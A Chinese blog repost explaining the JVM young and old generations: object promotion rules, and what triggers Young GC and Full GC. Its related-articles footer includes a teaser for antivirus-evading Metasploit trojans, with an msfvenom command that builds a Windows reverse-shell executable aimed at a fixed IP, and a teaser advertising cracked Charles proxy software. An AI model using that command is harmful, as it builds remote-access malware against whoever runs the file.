JVM - 年輕代和老年代

通過一些問題來討論 JVM 中年輕代和老年代的內容

  • 為什么要區分年輕代和老年代?
  • 哪些對像會進入老年代?
  • 什么時候會進行年輕代GC?
  • 什么時候會進行老年代GC?

1. 為什么要區分年輕代和老年代?

年輕代中的對象大部分都是短期存活的,老年代中的對象存活時間較長

而短期存活的對象,很快就會被垃圾回收線程回收。

考慮到兩部分對象的垃圾回收時機不同,所以就要將其區分

年輕代有年輕代的垃圾回收算法,老年代有老年代的垃圾回收算法,“因地制宜”

2. 哪些對象會進入老年代

我們分為 Young?GC 之前和 Young GC 來說

Young GC之前,如果加入堆內存的對象足夠大,則直接進入老年代,可通過?JVM 參數?“-XX:PretenureSizeThreshold” 來設置這個值,單位是字節

比如 “-XX:PretenureSizeThreshold” 的值設為 “1048576” 字節,而你創建了一個大小大于這個數的對象,比如一個超大的數組,此時就直接將這個大對象放到老年代里去

Young GC 之后,則有多種情況

如果對象已經經歷了15次 GC,即對象年齡已經達到 15,則會被轉移到老年代

還有一種動態對象年齡判斷,不需要對象年齡達到 15 也可以進入老年代。大致規則就是,假設當前放對象的 Survivor 區中,有一批對象的總大小大于了這塊區域的 50%,則所有年齡大于等于這批對象年齡的對象,都可以直接進入老年代

無論是年齡大于 15,還是動態對象年齡判斷,都是為了那些可以長期存活的對象盡早地進入到老年代

還有,如果 GC 過后,存活對象的大小大于 Survivor 可用空間,則這些對象也會直接進入到老年代?

3. 什么時候會進行年輕代?GC

這里年輕代 GC,認為是 Young GC

當年輕代中的 Eden 區中區域不夠用時,則會觸發年輕代 GC

4. 什么時候會進行老年代 GC

這里老年代 GC,認為是 Full GC?

每一次 Minor GC 之前,會檢查老年代老年代可用空間是否大于年輕代所有對象大小,因為可能 GC 之后,所有的年輕代對象都存活下來了。如果小于的話,則還要判斷是否打開了 "-XX:-HandlePromotionFailure"的參數設置

如果沒打開這個參數,則直接進行 Full GC

否則打開了的話, 則就看老年代內存大小,是否大于之前每一次 Minor GC 后進入老年代對象的平均大小。小于的話,則會進行 Full GC

這是 Minor GC 之前做的判斷。

如果 Minor GC 之后,存活對象大小大于 Survivor 可用空間,也大于老年代可用空間,也會進行 Full GC

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/pingmian/73511.shtml
繁體地址,請注明出處:http://hk.pswp.cn/pingmian/73511.shtml
英文地址,請注明出處:http://en.pswp.cn/pingmian/73511.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

【react】在react中async/await一般用來實現什么功能

目錄 基本概念 工作原理 優點 注意事項 底層原理 實際應用場景 1. 數據獲取 (API 請求) 2. 表單提交 3. 異步狀態管理 4. 異步路由切換 5. 異步數據預加載 6. 第三方 API 調用 7. 文件上傳/下載 8. 路由導航攔截 關鍵注意事項 基本概念 async 函數:用…

高維小樣本數據的在線流特征選擇

發布于24年國際學習和控制論雜志 文獻地址 簡要總結 《Online streaming feature selection for high-dimensional small-sample data》研究了高維小樣本數據(HDSS)在類別不平衡情況下的在線流式特征選擇問題,提出了一種名為OSFSHS的算法。…

1688.item_search_seller-搜索店鋪列表接口返回數據說明

一、接口概述 item_search_seller 是 1688 提供的一個 API 接口,用于搜索店鋪列表。通過該接口,開發者可以查詢特定店鋪的相關信息,包括店鋪的基本信息、商品列表等。該接口廣泛應用于電商數據采集、市場調研、店鋪分析等場景。 二、接口請…

uniapp主題切換功能,適配H5、小程序

實現方法 方法性能消耗維護成本適用場景內聯樣式較高低小程序CSS變量屬性選擇器低中H5混合方案中等低跨平臺項目 優勢特點 性能優化: H5端使用CSS原生變量切換小程序端使用高效樣式字符串生成切換動畫流暢 維護性提升 主題配置集中管理新增主題只需要拓展vars對象…

線程未關閉導致資源泄漏

文章目錄 資源泄漏(線程未關閉)問題描述錯誤實現優化原理正確實現優化原理 資源泄漏(線程未關閉) 問題描述 應用程序啟動時創建線程池處理任務,但未在應用關閉時正確關閉線程池。 現象: 應用重啟時&…

MSF木馬的生成及免殺

先簡單生成一個木馬 ┌──(kali?kali)-[~] └─$ msfvenom -p windows/meterpreter/reverse_tcp lhosts61.139.2.130 lport3333 -e cmd/echo -i 10 -f exe -o cmd_echo_113_3333_10.exe [-] No platform was selected, choosing Msf::Module::Platform::Windows from the pa…

用C#實現UDP服務器

對UDP服務器的要求 如同TCP通信一樣讓UDP服務端可以服務多個客戶端 需要具備的條件: 1.區分消息類型(不需要處理分包、黏包) 2.能夠接收多個客戶端的消息 3.能夠主動給自己發過消息的客戶端發消息(記錄客戶端信息)…

如何在 Postman 中發送 PUT 請求?

在 Postman 中發送 PUT 請求的步驟相對簡單,包括新建接口、選擇 PUT 方法、填寫 URL 和參數等幾個主要步驟。 Postman 發送 put 請求教程

charles抓包軟件免費使用教程

本文將給大家介紹Charles破解教程,支持Windows和Mac系統,操作簡單,永久免費使用。同時,我們也會提到另一款強大的抓包工具——SniffMaster(抓包大師),它在網絡調試和數據包分析方面同樣表現出色…

卷積神經網絡 - 參數學習

本文我們通過兩個簡化的例子,展示如何從前向傳播、損失計算,到反向傳播推導梯度,再到參數更新,完整地描述卷積層的參數學習過程。 一、例子一 我們構造一個非常簡單的卷積神經網絡,其結構僅包含一個卷積層和一個輸出…

.NET三層架構詳解

.NET三層架構詳解 文章目錄 .NET三層架構詳解引言什么是三層架構表示層(Presentation Layer)業務邏輯層(Business Logic Layer,BLL)數據訪問層(Data Access Layer,DAL) .NET三層架構…

Redis實戰常用二、緩存的使用

一、什么是緩存 在實際開發中,系統需要"避震器",防止過高的數據訪問猛沖系統,導致其操作線程無法及時處理信息而癱瘓. 這在實際開發中對企業講,對產品口碑,用戶評價都是致命的。所以企業非常重視緩存技術; 緩存(Cache):就是數據交換的緩沖區&…

STM32八股【2】-----ARM架構

1、架構包含哪幾部分內容 寄存器處理模式流水線MMU指令集中斷FPU總線架構 2、以STM32為例進行介紹 2.1 寄存器 寄存器名稱作用R0-R3通用寄存器用于數據傳遞、計算及函數參數傳遞;R0 也用于存儲函數返回值。R4-R12通用寄存器用于存儲局部變量,減少頻繁…

effective Java 學習筆記(第二彈)

effective Java 學習筆記(第一彈) 整理自《effective Java 中文第3版》 本篇筆記整理第3,4章的內容。 重寫equals方法需要注意的地方 自反性:對于任何非空引用 x,x.equals(x) 必須返回 true。對稱性:對于…

mac命令行快捷鍵

光標移動 Ctrl A: 將光標移動到行首。Ctrl E: 將光標移動到行尾。Option 左箭頭: 向左移動一個單詞。Option 右箭頭: 向右移動一個單詞。 刪除和修改 Ctrl K: 刪除從光標到行尾的所有內容。Ctrl U: 刪除從光標到行首的所有內容。Ctrl W: 刪除光標前的一個單詞。Ctrl …

CentOS 7部署主域名服務器 DNS

1. 安裝 BIND 服務和工具 yum install -y bind bind-utils 2. 配置 BIND 服務 vim /etc/named.conf 修改以下配置項: listen-on port 53 { any; }; # 監聽所有接口allow-query { any; }; # 允許所有設備查詢 3 . 添加你的域名區域配置 …

優化 SQL 語句方向和提升性能技巧

優化 SQL 語句是提升 MySQL 性能的關鍵步驟之一。通過優化 SQL 語句,可以減少查詢時間、降低服務器負載、提高系統吞吐量。以下是優化 SQL 語句的方法、策略和技巧: 一、優化 SQL 語句的方法 1. 使用 EXPLAIN 分析查詢 作用:查看 SQL 語句的執行計劃,了解查詢是如何執行的…

C++ 多線程簡要講解

std::thread是 C11 標準庫中用于多線程編程的核心類,提供線程的創建、管理和同步功能。下面我們一一講解。 一.構造函數 官網的構造函數如下: 1.默認構造函數和線程創建 thread() noexcept; 作用:創建一個 std::thread 對象,但…

Vscode HTML5新增元素及屬性

一、?HTML5 語義化標簽 HTML5 語義化標簽&#xff08;Semantic Elements&#xff09;是一組 ?具有明確含義的 HTML 元素?&#xff0c;通過標簽名稱直接描述其內容或結構的功能&#xff0c;而非僅作為樣式容器&#xff08;如 <div> 或 <span>&#xff09;。它們旨…

【PostgreSQL教程】PostgreSQL 特別篇之 語言接口Python

博主介紹:?全網粉絲22W+,CSDN博客專家、Java領域優質創作者,掘金/華為云/阿里云/InfoQ等平臺優質作者、專注于Java技術領域? 技術范圍:SpringBoot、SpringCloud、Vue、SSM、HTML、Nodejs、Python、MySQL、PostgreSQL、大數據、物聯網、機器學習等設計與開發。 感興趣的可…